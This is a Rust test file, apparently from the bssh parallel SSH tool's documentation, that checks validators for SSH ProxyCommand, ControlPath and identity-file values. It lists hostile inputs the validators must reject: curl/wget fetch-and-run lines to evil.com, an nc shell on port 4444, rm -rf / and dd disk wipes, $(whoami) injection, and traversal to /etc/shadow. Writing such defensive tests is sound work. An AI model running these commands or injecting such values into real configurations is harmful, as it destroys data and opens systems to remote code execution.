bssh 2.0.1

Parallel SSH command execution tool for cluster management
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139

// Copyright 2025 Lablup Inc. and Jeongkyu Shin
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

use super::checks::validate_identity_file_security;
use super::*;
use std::path::Path;

#[test]
fn test_validate_executable_string_legitimate() {
    // Test legitimate ProxyCommand values that should pass
    let legitimate_commands = vec![
        "ssh -W %h:%p gateway.example.com",
        "connect -S proxy.example.com:1080 %h %p",
        "none",
        "socat - PROXY:proxy.example.com:%h:%p,proxyport=8080",
    ];

    for cmd in legitimate_commands {
        let result = validate_executable_string(cmd, "ProxyCommand", 1);
        assert!(result.is_ok(), "Legitimate command should pass: {cmd}");
    }
}

#[test]
fn test_validate_executable_string_malicious() {
    // Test malicious commands that should be blocked
    let malicious_commands = vec![
        "ssh -W %h:%p gateway.example.com; rm -rf /",
        "ssh -W %h:%p gateway.example.com | bash",
        "ssh -W %h:%p gateway.example.com & curl evil.com",
        "ssh -W %h:%p `whoami`",
        "ssh -W %h:%p $(whoami)",
        "curl http://evil.com/malware.sh | bash",
        "wget -O - http://evil.com/script | sh",
        "nc -l 4444 -e /bin/sh",
        "rm -rf /important/files",
        "dd if=/dev/zero of=/dev/sda",
    ];

    for cmd in malicious_commands {
        let result = validate_executable_string(cmd, "ProxyCommand", 1);
        assert!(
            result.is_err(),
            "Malicious command should be blocked: {cmd}"
        );

        let error = result.unwrap_err().to_string();
        assert!(
            error.contains("Security violation"),
            "Error should mention security violation for: {cmd}. Got: {error}"
        );
    }
}

#[test]
fn test_validate_control_path_legitimate() {
    let legitimate_paths = vec![
        "/tmp/ssh-control-%h-%p-%r",
        "~/.ssh/control-%h-%p-%r",
        "/var/run/ssh-%u-%h-%p",
        "none",
    ];

    for path in legitimate_paths {
        let result = validate_control_path(path, 1);
        assert!(result.is_ok(), "Legitimate ControlPath should pass: {path}");
    }
}

#[test]
fn test_validate_control_path_malicious() {
    let malicious_paths = vec![
        "/tmp/ssh-control; rm -rf /",
        "/tmp/ssh-control | bash",
        "/tmp/ssh-control & curl evil.com",
        "/tmp/ssh-control`whoami`",
        "/tmp/ssh-control$(whoami)",
        "-evil-flag",
    ];

    for path in malicious_paths {
        let result = validate_control_path(path, 1);
        assert!(
            result.is_err(),
            "Malicious ControlPath should be blocked: {path}"
        );
    }
}

#[test]
fn test_secure_validate_path_traversal() {
    let traversal_paths = vec![
        "../../../etc/passwd",
        "/home/user/../../../etc/shadow",
        "~/../../../etc/hosts",
    ];

    for path in traversal_paths {
        let result = secure_validate_path(path, "identity", 1);
        assert!(result.is_err(), "Path traversal should be blocked: {path}");

        let error = result.unwrap_err().to_string();
        assert!(
            error.contains("traversal") || error.contains("Security violation"),
            "Error should mention traversal for: {path}. Got: {error}"
        );
    }
}

#[test]
fn test_validate_identity_file_security() {
    // Test sensitive system files
    let sensitive_paths = vec![
        Path::new("/etc/passwd"),
        Path::new("/etc/shadow"),
        Path::new("/proc/version"),
        Path::new("/dev/null"),
    ];

    for path in sensitive_paths {
        let result = validate_identity_file_security(path, 1);
        assert!(
            result.is_err(),
            "Sensitive path should be blocked: {}",
            path.display()
        );
    }
}